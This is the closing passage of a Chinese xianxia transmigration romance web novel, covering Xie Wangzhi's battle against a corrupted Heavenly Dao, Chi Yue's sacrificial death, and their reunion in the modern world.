脸颊刚被剑气割出一道血痕,池无月又忍不住走上前,话未说完又被谢妄之嘶吼着打断: “这不就是你要的吗!这时候还来装什么好心?!咳——” 谢妄之吼完便剧烈咳嗽起来,连续咳出一大团血沫,喘息紊乱粗重,胸口衣襟被洇成深色。 紧接着,两只耳朵传来一阵湿热酥痒,有什么液体流出,顺着脖颈淌下。 即便如此,握剑的手不曾松过分毫。 池无月沉默看着,眼眸湿润发红,咬紧牙,双拳攥得发抖,终于憋不住道: “谢妄之!你之前不是答应我了么?为什么要走?” 他说着又忍不住凑上前。 却见谢妄之神色沉静,忽然抬手咬破指尖,手掌微微平伸。 不知他做了什么,落了满地的冰锥随之浮上半空,凝成无数细碎的灵光,潮水般向他指尖汇聚。 强大的气息令天地都为之侧目,压下乌云。 “公子!” 池无月微微睁大眼,眼睫一瞬湿润,嗓音低哑,“公子真要杀我?” “呵。你辱我至此,不杀你,难消我心头之恨!” 谢妄之嗤笑了声,话音落下,那只手狠狠往身前土地一拍! 倏忽间,万物静止,风声消弭,冰雪自他足下瞬息便铺开万里,目之所及处俱是银装素裹。 血液仿佛也被冻结,身体无法移动丝毫。 分明眼也未眨,谢妄之已持剑逼近,不远处还留有他单膝跪地的残影。 眼见那剑尖寒芒闪过,离致命处不过咫尺之遥。池无月却不闪不避,只是问: “公子只觉得屈辱吗?不曾有片刻动心?” 谢妄之眼睫颤动一瞬,但动作未停。 此刻,万籁俱寂,只闻见一声“噗呲”轻响。 锋锐剑尖一寸寸没入池无月的胸口,又在脊背伸出。 这次不是虚影。 池无月缓慢地笑了一下,嘴唇翕动着淌下一缕殷红,断断续续道: “公子,我、骗你的……剑骨、接不上了,只能靠我、支撑,离我太远就……” 可谢妄之已到极限,七窍流血,听不见,也读不了唇语。 …… 意识溃散时,天地寂灭。 谢妄之再睁眼,已是幻境之外。 天色昏暗,浓云密布,绵延数千里。深紫色的雷龙翻滚嘶吼,将天穹撕出千万道银白裂缝。 雷霆一道接一道砸下,无休无止,耳畔只剩雷电与狂风的轰鸣。 但他毫发无伤。 忽有温热的雨丝滴落在脸颊。 他眨了眨眼,终于看清,是池无月撑在他身体上方,替他挡了劫雷。 不知伤在何处,鲜血竟从脖颈流淌,滴到他身上。脸庞也是血痕交错,仿佛流了血泪。 见他清醒,池无月似是想轻唤声“公子”,可张口的瞬间却吐出一团血沫。怕滴到他身上,慌忙用手去接,血水却从指缝间溢出,便又急忙撇过头,一副手忙脚乱的样子。 “这是……?”谢妄之神色微征,还有些回不过神。 “公子陷入幻境,久未清醒,原来是在幻境中突破了,恭喜。公子果然天赋——” “我是在问你这个吗?”谢妄之蹙眉打断。 “我……”池无月微微睁大眼,勾唇轻笑了一下,似乎想凑过来如从前一般撒娇,又莫名停住,“没关系的,小伤而已,公子不必担心,唔——” 不等他说完,又是一道劫雷砸下。分明直冲着谢妄之,却打在池无月身于烟鱼尾上,逼得他又吐了口血,身躯摇晃着要瘫倒。 “这到底是怎么回事?!” 谢妄之连忙伸手把人扶住,坐起身环顾四周。却见目之所及尽是焦黑的沟壑,仍残余强大而蛮横的天道威压,望一眼便叫人心悸。 而与他同行的队友,白青崖,司尘,还有一些亲信,通通不见踪影。 甚至他记得此处应是一座城镇,所有的房屋皆被夷为平地,一眼望去只剩断壁残垣,恐怕居住此地的百姓也…… 谢妄之心神俱震,又仰起头看天。 只见层叠劫云之后,是一只横亘整片天空的巨眼,边缘处开裂,延伸出无数道沟壑,猩红、扭曲,不可名状。 与之对视的瞬间,数千道雷霆一同砸下! 整片昏暗的天空都被点亮,势如排山倒海,任是谁都无法抵挡。 这不是劫雷,这是祂的怒火,要置他于死地! 谢妄之瞳孔骤缩。 千钧一发之际,池无月猛然又将他扑倒,将他牢牢护在身下。 如瀑天光轰然坠下,耳畔在一阵冗长的轰鸣之后唯余寂静。 谢妄之忽然感觉不到周遭,也感觉不到自身存在,只知脸上又滴落温热的雨。 “……祂已经没有力量再重启了,这是最后一次。只要成功渡过,往后,公子不必再受祂约束……呵,以公子的本事,想必没有什么悬念,只是可惜,我看不到了。还好,公子没有答应与我结契,不然,咳……” 池无月仍撑在他身体上方,体力耗尽后便彻底瘫在他身上,被他顺势揽在怀中。 说到此处,池无月蹙紧眉,似是强忍着痛,接着又咳嗽起来,唇边不断滑下殷红,将侧脸与脖颈的梅花染得更艳丽。 缓了片刻,他又继续开口,声音更加虚弱沙哑:“抱歉,没有时间再与公子解释那些了,不过,也不重要……公子,其实我的名字是池越,下次不要——” 池无月——池越说着又停顿,眸光逐寸灰暗,赶在谢妄之追问前又勉强勾唇轻笑了一下,张口却抑制不住哽咽: “公子记不住也没关系,反正没有下次了。公子,之前的事,我很抱歉,我这样纠缠,一定让你很困扰。放心,以后都不会了,请原谅我。还有……忘了我吧……” 话音落下,怀中人的身躯竟如曾经崩毁的随心剑一般,逐渐变得透明,一点点散作星砂。 那张他厌恶至极的脸庞,缓慢在他眼前放大,可快要触到他嘴唇时又莫名停住,紧接着,身体失去支撑,彻底软倒在他臂弯。 唯有温热的气息轻轻喷洒,一触即离,仿佛曾有一片柔软的羽毛短暂停驻。 谢妄之瞳孔骤缩,浑身不住发抖,想抓着池越的肩膀摇晃,又怕惊扰,只颤着声嘶吼:“池越!我不可能原谅你,你想都别想,给我起来!!” 他慌乱地去握池越的手,却来不及,指尖只碰到一团虚无,顿时更加惊慌,呼吸急促。 忽然间,他想到什么,忙一把撕开池越的衣襟,指尖聚起灵光,飞快在人胸口书写,一面写一面道:“喂,你不是一直要结契吗?本公子答应你了。” 他以生平最快的速度书写,可道侣契约单凭他一人无法完成。 甚至刻画至一半,对方的身躯已然尽数消散,他的指尖再没有着力点,最后落在了自己膝上。 谢妄之陡然僵住,眼睫颤动几下,努力睁大眼想看清什么。 可越是努力,视野便越是模糊,只觉天又下起雨,却只淋到脸上。 但此时没有余裕等他慢慢收拾好心情。 雷罚平息后,天际的浓云并未散去,反越积越重。 直到天际浮现出一个巨大的虚影,是一张扭曲而狰狞的人脸。 紧接着,一只擎天巨掌狠狠拍了下来! 第68章【正文完】 第68章 不能弃养小狗…… “喂,你怎么了?快走啊,谢妄之他们还在等我们呢!你刚刚不是还一直催吗?” 情况紧急,逼得巫玥都话多起来,却见身旁的裴云峰动作停顿,不由蹙眉催促。 “我、我为什么会在这里?”裴云峰捂着脑袋,神色痛苦,“谢妄之他们在等什么?我……我什么都不记得了。” “你?”巫玥一怔,愕然转头瞥了眼裴云峰,但此时不容他解释什么,便又继续往前,“先别管了,之后再说。” 根本无需再分辨方向,远远便见那处天空的异状。 天穹开裂,隐隐浮现出一尊硕大宏伟的神像,头颅低垂,只手便可遮天,却已然腐败。 身上的金漆剥落大片,露出底下密密麻麻的黑色纹路,像是什么文字,又像是长了霉斑。 本生就一副慈眉善目相,此时却显得扭曲狰狞。双目猩红,唇角咧至耳根。分明是笑,却只觉诡异瘆人。 若非气息威严,凛然不可侵犯,俨然一副堕神姿态。 祂坐于云端,一手置于膝上作拈花状,另手却从天砸下,连续不断,快得肉眼只见残影。 地动山摇带起的漫天沙尘之中,只见一抹渺小黑影,在巨擎猛烈的攻势下敏捷地穿梭来去,雪色寒芒穿透深浓雾霭,比日光更刺眼。 但以凡人之躯对抗如此伟力,终是痴心妄想。 巫玥两人赶到时,只见目之所及尽是焦土,已被血液浸润成暗红色。 谢妄之浑身浴血,单膝跪在一处深坑之中,上身伏低,只靠手中紧握的剑支撑。 但那柄剑已折毁大半,余下的部分布满裂纹,一缕殷红自剑柄顺着剑身往下淌。 那尊神像停止攻击,从天际远远递送来平和而充满威严的声音,却像是雷霆在脑中轰鸣,回音阵阵: “凡人,汝之命途早已注定,挣扎何益?” 趁着这个空档,巫玥忙飞身上前把人扶起:“谢妄之!你怎么样了!” 谢妄之借力缓慢站起身,轻轻摇头,抬手随意抹去唇边的血迹,嗤笑了声,举头望天,朗声质问道: “敢问,所谓注定的命途,便是由旁人书写吗?他算老几?也配让本公子照着演?” “放肆!”祂怒斥了声,“已赐予汝等最好的安排!区区蝼蚁,休要贪得无厌!” 天道震怒,一瞬间,山川大地都跟着颤抖,濒临崩毁。 谢妄之却浑然不惧,冷笑了声,伸臂一勾巫玥的肩膀,“本公子得到什么待遇就不说了,来,你作为曾经天道的宠儿,你来告诉祂,你满意这‘最好的安排’吗?” “不。”巫玥坚定摇了下头,仰头直视天空,“我不需要您为我安排。” “听见没?连天命之子都不满意您的安排,甚至都不屑您的安排,那这‘最好的安排’是对谁而言?” 谢妄之嗤笑,松开巫玥,又随口接道:“该不会是您自己吧?” 未想到,话音刚落,那只巨掌又猛然砸下! “蝼蚁,受死!” 谢妄之神色一凛,带着巫玥飞快避开。脚跟还未站稳,下一击又落下来。 不知踩到对方什么痛处,祂又发起狂来,攻势密集如雨,根本避无可避。 谢妄之独自与天道鏖战许久,撑到此时已是极限,而巫玥也只是凡人。再这样下去,他们只怕要被拍成肉泥。 好险避过一掌,谢妄之终于受不了了,忽然问:“巫玥,你会求雨吗?” “……会。” 一个两个都将他当成只会骗钱的道士,一会儿要算卦一会儿要求雨,巫玥有些无奈,但还是点头应了。 “那你帮我求雨,求个大的,越大越好。快!” 谢妄之主动吸引火力,为巫玥护法。 等天空终于降下倾盆大雨,他顿时眉目舒展,飞速咬破指尖,高举起手,在雨中放声大笑。 有水的地方,就是他的天下。 方圆千里,满天的雨水都凝成细碎的灵光向他掌心飞去,汇成无与伦比的蓝色洪流,又托举起他的身体浮上半空。 分明渡过劫雷却毫无变化的修为,一瞬间暴涨! 从元婴圆满,一路突破化神、渡劫,直入登仙境! 心障破碎,浑身苦痛消失,经脉拓宽千百倍不止,灵力一瞬充沛,却悉数转为魔息。 若天道始终不愿将他放过,若随心所欲便是错,那么他的道,便是成魔! 谢妄之并指划过随心的剑脊,指尖溢出的精血浸染了繁复的剑纹。 裂痕被血色涤净,剑身一瞬间绽放炽烈的辉光,如星河流转,弥补在断裂的部分。直到完好如初,剑鸣一瞬激昂,如龙吟九霄。 紧接着,他足尖凭虚一踏,身形一瞬冲天而起,直与日月、天道齐平。 墨发飘动,衣袂翩飞,冰蓝色的魔纹自胸口蔓延至脖颈、侧脸,威仪万千,姿容无双,已成一尊新神。 他举起剑,傲然睨着云中破败的神像,微微勾唇: “依我看,你根本不是什么‘天道’,不过是从那本书中诞生的邪灵,才会将它的内容奉为圭臬、百般维护。 “如我一般的人,我不是第一个,也绝不会是最后一个! “你凭什么以为,我们都会任你摆布?” * 与“天道”的决战,毫无悬念,谢妄之完胜。 其实那尊神像严格意义上来说,确实是这个世界的“天道”。 但祂陨落之后,这个世界并未就此崩塌,甚至能够逻辑自洽地以自己的规则平稳运行。 至少方圆千里的城镇被夷为平地,数以万计的百姓凭空蒸发,全被归结为“妖魔所为”。 而驱除这些妖魔的,是谢妄之一行。 并且,谢妄之是数万年来,唯一一位登仙境的修士。虽然入魔了。 一时间,谢家的地位水涨船高,先前那些“流言”不攻自破,连带散修势力与世家之间的矛盾冲突都有所缓和。 没有所谓天道的干预,也不必按部就班照着那劳什子话本“演戏”,世界自然运行发展,走上了与原剧情截然不同的道路。 没有激烈的冲突内讧,不必妖邪大举入侵,迫使修仙界各方短暂握手言和一致对外,仙盟还是成立,但由世家联合组织创立。 当然,为顾及势力逐渐壮大的散修,一些陈腐的制度与规矩也相应改革。修仙界毕竟弱肉强食,但这是大势所趋。 而仙盟盟主之位,自然而然由人恭敬甚至谄媚地捧到谢妄之面前。他欣然收下。 升仙典仪与即位盟主大典在同一日举行,空前盛大,万众敬仰朝拜。 与此同时,兄长谢霁私下里找过他。 在了解到他即使入魔,身体也没有什么不适,终于舒口气,拍了拍他的肩膀,欣慰道:“做得不错,大道无涯,要继续努力。对了,你和裴家那小子——” 谢妄之直接摆手:“他不配。” 兄长微微一怔,又好笑又无奈:“好,都由你自己决定,剩下的我来处理,兄长只希望你过得开心。” 谢妄之也笑,难得卖乖:“兄长辛苦。” 谢霁忍俊不禁,如幼时一般轻抚了下他的头:“即便你现在贵为盟主,你还是我弟弟。” 幸好兄长之后还有事要忙,很快走了,没再说什么,谢妄之好险湿了眼眶。 与天道决战时,分明巫玥与裴云峰一起去找他,实际他只看见了巫玥,也是事后才知裴云峰其实有一起去,想来是当时躲到了哪。 那时他很失望,以为自己看错了人,后来才知,原来裴云峰只是变回了真正的“裴云峰”,实际与他牵扯许多的人是池越—— 不知为何,他给池越刻下的道侣契约生效了一部分,使他共享了池越的记忆——当时他本想利用道侣契约救池越一命,可惜失败了。 他猜测或许是因为池越身上本就有他刻的奴印,双重契约叠加,这才产生了不一般的效果。 总之就是,不知从何时开始,每逢入睡,他便会梦见自己以池越的视角,度过一次又一次的轮回,从最初到结束。 原来,这小子生在一个完全超出他认知的世界,应天道之邀,才“穿越”到了他所在的这个“书中世界”。 当时,天道扮做一个符合池越认知的东西——系统,来接近、引诱他,以影像的形式为池越展示,他将会在这个世界遇见什么、得到什么。 依谢妄之的看法,池越答应得相当草率。他只是见到自己——实际应该是巫玥,被谢妄之救下,养在身边,立刻就答应了。 若谢妄之是池越,怎么着也要看到自己登仙、成为仙盟盟主之后再做决定。 这样看来,池越完全是个稀里糊涂的傻子,哪天被卖了还要帮人家数钱。 谢妄之以池越的视角经历这些,也就是说,池越看到什么、听到什么,他亦等同。他们的身体感官相通,甚至连池越心里在想什么他都知道。 一开始,他只觉得这小子心思比常人细腻敏感些,很多他自己完全不记得的无心之举,一桩桩一件件都被池越记在心里。 比如他外出归家时,经常会给家里人捎带些礼物。小奴隶自然也有,但他完全就是顺手带的,几乎没刻意挑过。但池越每次都特别开心,全都珍藏起来。 再比如,池越刚在他身边伺候时笨手笨脚,有回不小心打碎了他房中的一只花瓶,心里慌乱得要命,生怕他一个不满意就要给人赶走,满脑子只想着怎么挽救,竟傻乎乎蹲在地上徒手去捡碎瓷片,手指被扎得流血都不知道。 但其实于谢妄之而言,那只花瓶根本无关紧要,碎了就碎了。池越小心翼翼主动向他请罪时,他恰有烦心事,只是不耐地说“别拿这种小事来烦我”,接着挥手就让人滚出去。 池越心惊胆战要退出去,谢妄之又给他叫住了,但什么也没说,只随手丢来一瓶药膏。 当时池越下意识地接住了,面上反应并不大,结果出门以后,旋开盖子嗅到药香就开始哭。 池越从十来岁起就跟着谢妄之,后来年岁渐长,身量也逐年拉长,有一年像是雨后春笋,窜得特别快。 在谢家,下人的衣物都有专人量了尺寸定期统一采买,那年他的衣裳到手,穿没两日便小了。甚至到冬天,原有的衣物穿上,手臂和小腿都要露一截在外面,给冻得发红。 谢妄之偶然瞧见,便派人给小奴隶添置了合尺寸的新衣,再小就再换。 许是那人见谢妄之宠幸池越,特意挑的时下流行的漂亮衣裳。那段时间,池越整个人看起来异常精神,偶然得他一句夸就能高兴一整天。于是每晚睡前都精心挑选第二日要穿的衣物,比孔雀还能开屏。 可惜好景不长。总有些人天生嘴贱心脏,仅凭池越衣着光鲜,便散播他以色事主的谣言。 池越虽觉委屈,但并未搭理,直到谣言愈加过分,伤及谢妄之。他愤懑不平,暗中解决后犹自责不已,此后便只着白衣。 这样的事不胜枚举。其实发现池越把这桩桩件件记在心里,谢妄之有一种奇怪的自豪骄傲,总之心情还是很不错的。 但很快,他发现了不对劲的地方。 不知从什么时候开始,他发现池越的目光一直追着他跑,初时只是他的背影、侧颜,他的剑之所向,后来总喜欢凝视他身上具体的部位。 比如为他端茶送水时,视线总是被他上下滚动的喉结、微微润湿的唇瓣勾住。听他说话时,总盯着他翕张的唇齿和若隐若现的殷红舌尖发怔。 为他更衣时倒不敢看,手指也不敢沾他一寸,就是一直屏着呼吸,差点没把他也憋坏。最露骨时也就是隔着一道屏风,用视线来回描摹他映在屏风上的身影。 后来,池越渐渐变得大胆、贪婪,甚至有一些……奇怪的癖好。 谢妄之喜欢四处除妖历练,有回不慎受了严重的伤,不仅要卧床休息,每日还需服药,池越便端着药碗喂他。 他嫌苦,忍不住偏头,药汁溢出些许,一缕墨发粘在嘴角。池越端着药碗,半晌没喂下一口。 那时他以为对方是在等他缓过劲,还觉得挺贴心。 没想到池越盯着那缕墨发看了很久,死掐着掌心,到底是没忍住,伸手拂开,又借着拭去药渍,指腹轻触他嘴唇。 等喂完药,往他嘴里塞颗蜜饯,会故意慢一拍松手,直到他的舌头不经意掠过对方指尖。 事后,池越会偷偷舔去他留在汤匙上药染出的印,还会舔自己的手。 上药时,他赤着上身趴在榻上,池越给他敷药。 膏药已经抹匀、逐渐变得透明,池越的手指仍在他脊背流连,脑子里想的是“如果帮公子舔舐伤口,会减轻些疼痛吗?”,结束还悄摸卷走沾血的纱布收藏。 谢妄之平日晨起练剑,池越在边上伺候。 那时他以为池越一直盯着自己看,大概是也对剑道感兴趣,便兴起教池越习剑。未想到,因他习惯除去上衣,这小子便一直趁机正大光明盯着他看。 看肌肉在发力时绷起的弧度及浮起的青筋,看汗水如何淌过他的锁骨与胸腹,直到坠入不可及的深处。视线一直追着,喉结随着吞咽声轻颤,仿佛那滴咸涩落进自己嘴里,却愈加焦渴。 后来谢妄之擦汗的巾帕也是不翼而飞。 而他第一次教池越习剑、主动触碰时,对方的心跳声更是大得吵闹,浑身血液好像都快沸腾。 结果池越当晚就做了个旖旎的梦,羞得他半天没敢再看谢妄之一眼。 再后来,谢妄之大概也对池越生了些朦胧好感,又或许只是见色起意,他饮了酒,把池越叫到房中。 池越的反应,如当时给他的回答一般无二,的确是他误解。 但这小子当时害羞得逃跑,还连躲他好几天,实际背地里蒙上被子不知道想着他弄了多少回。 第一次梦见池越的记忆时,在此处戛然而止。谢妄之翌日起身,发现自己亵裤湿润,只觉心情复杂。 第二次再梦见时,谢妄之还是适应不了池越看向自己时烫得灼人的眼神,还有愈加……奇怪的想法和行为。 但他也没办法。 接着,他很快得知了轮回的真相。 原来池越不肯照着话本“演”,屡次触怒天道而受到惩罚,但他找到了钻空子的方法。 先是取代了原本的“裴云峰”,再是创造分身避过天道的眼线,以小白的形态陪在谢妄之身边。 后来经过先前那个幻境里发生的事,池越身死,天道消耗力量,使整个世界回归最初的模样。 重来之后,池越试着改变,但由于天道的束缚,加上谢妄之对池越的态度始终如一,不管重来多少次,最后只是徒劳。 谢妄之被逼得一次又一次发疯入魔,与池越同归于尽,然后天道再次消耗力量重启世界,如此循环往复。 再后来,大概是因为谢妄之始终拒绝,池越渐渐变得偏执而疯狂,甚至因爱生恨,此时随便一句心声都令人毛骨悚然。 与此同时,天道被迫消耗了太多力量,使得池越逐渐脱离了束缚,甚至能反过来攫取天道的力量。 第一件事便是将脑中的想法都付诸实践。 池越囚禁了谢妄之,又企图利用流光蝶妖的幻术迷惑他。 可惜新造的分身如当年的他一般愚蠢,竟受谢妄之蛊惑,他的计划失败了。 但未想到,蝶妖得到了他从不敢奢想的,谢妄之的怜悯。 这令他十分恼怒,偏偏天道还在此时与他作对添乱。 为避锋芒,他只能被迫隐去。但与此同时,他的力量也早已将天道蚕食。重启后的世界,并非是最初的世界。 他又开始一次次的试错,想把天道的力量消耗殆尽,尝试着捕捉他最期盼的那一缕渺小的可能。 可世界一次次重启,这条路根本望不到头。 直到最后一次,谢妄之觉醒,给了“池无月”一记耳光。 直到谢妄之终结了这场荒谬的轮回。 他赋予这个世界新生,他是当之无愧的新神。 从他人的视角看向自己、回顾自己的前半生,这实在是一种很奇妙的体验。 尤其池越对他抱有强烈的爱意,好像他也跟着爱了自己一遍。 这种感觉令谢妄之着迷,令他非常愉悦。 但紧接着,他意识到令他拥有这种快乐的人不在了。 当时会哭或许还受其他因素影响,但此时此刻,他真切地感觉到难以言喻的悲伤。 胸口和喉咙堵得难受,快要窒息一般,却流不出一滴泪。 但好在,其实他平常没有什么时间去想这些。 仙盟初初创立,许多事都是破天荒头一遭,都要他亲手去试探、琢磨、规划,花费相当多的精力思考、与众人磋商、起草、试推行、再改…… 譬如该死的各界资源如何分配才能更加合理,以尽可能照顾到大多数人的利益,才不会有太多人抗议吵得他头疼。 该死的人才选拔制度要怎么制定才能公正地提拔些有真才实学的人帮他,好让那帮仗着有点权势地位就无法无天的世家宗门不能再往他盟里塞饭桶祖宗。 还有那该死的信局要如何改革至规范统一,真正实现为人们带来便利而不是添堵…… 其实谢妄之干了几个月的盟主就想跑了,但因为一点微薄的良心与责任感,硬撑着干了五年。 权力的滋味固然美妙,但不意味着他可以为所欲为。相反,受限身份,他甚至不如从前随心所欲。 于是,当一切步入正轨、平稳向好,他尝尽了权力的美妙,与一个崭新的世界在他手下、在眼前缓慢铺开的巨大成就感后,谢妄之迫不及待跑了。 反正在这样的世界,实力约等于权力,至少没人敢忤逆一个登仙境修士。 ……不,还是有的。 散心许久、仔细考虑终于想通某件事后,谢妄之太激动,以至于大半夜便捺不住敲开巫玥居所的房门,居高临下、毫不客气地道: “出来一下,我有事跟你说。” 有什么事不能白天说,谁没事跟谢妄之一样发癫?巫玥气笑了:“谢妄之,你现在已经不是盟主了,我凭什么听你的?还当我是从前你养的狗呢?” “没有。”谢妄之摇头,语气诚恳,“所以我想去找我家狗了。” “……你想去天外?” “嗯。” “……” 巫玥沉默,又忍不住在心里扇了自己两大嘴巴子,抬眸仔细确认谢妄之没有表露出任何的悲伤才微舒口气,妥协道:“行,你等着。” 谢妄之应“好”,专门找了个地儿躲清闲,还趁势安排、交代好了许多事,比如给兄长留封信。剩下就等着巫玥喊他。 不知为什么,他就是对巫玥很有信心。 果然,十日后,巫玥给他传信,让他去一个地方。谢妄之欣然前往。 却见是曾经与天道决战的地方。 此处仍是一片焦土,没有新的生命诞生,仿佛时间在此处永远停滞。 巫玥道:“多的我也懒得跟你解释,总之这里环境特殊,是最有可能撕出一道空间裂缝的地方,你劈一剑试试。” “往哪里劈?” 谢妄之问了句,见此处空间大,应该也不至于伤着什么,便随手向天空劈了一剑。 他的剑无人能挡,空间也一样。 剑光绽开的刹那,苍穹果真撕开道缝隙,隐隐透亮,似乎那里就是所谓的天外。 谢妄之惊愕挑眉,忍不住问:“你怎么知道的?” “算卦算的。” “多谢。走了。” “保重。” * “唔……” 巷子里,纤弱的少年被踹倒在地,雪白的衬衣落满鞋印泥灰,瞧着脏兮兮的。 一根粗钢管高悬于头顶,眼见就要砸下来。 千钧一发之际,不知为什么,那人的动作忽然定住了,表情惊恐。 少年还有些茫然,紧接着,他似有所觉地飞快转头,正见巷口立着一个颀长身影,熟悉又陌生。 “还不快滚?” 青年斥了一声,缓步向他走来。 逆着光,看不清五官,只见面部轮廓深邃,浅淡勾着嘴角,帅得一塌糊涂。 “怎么无论在哪边,你都是这副可怜的小狗样?” 谢妄之眉峰微挑,打量了少年片刻,俯下身,向对方递出一只手。 少年仰头看他,双眸迅速湿润发红,却怔愣半晌后才伸出一根手指,试探地轻戳了他一下,像是戳着什么易碎的泡泡。 “……” 谢妄之有些无奈,索性抓着人的手腕一把拉起来。 还没站稳,池越猛地扑进他怀中,脸颊埋入他颈窝,话都说不出,就是哭,半天才哽咽问:“公子为什么会来?” “因为,”谢妄之忍俊不禁,“我刚刚路过一个什么牌子,上面写‘不能弃养小狗’。” (正文完)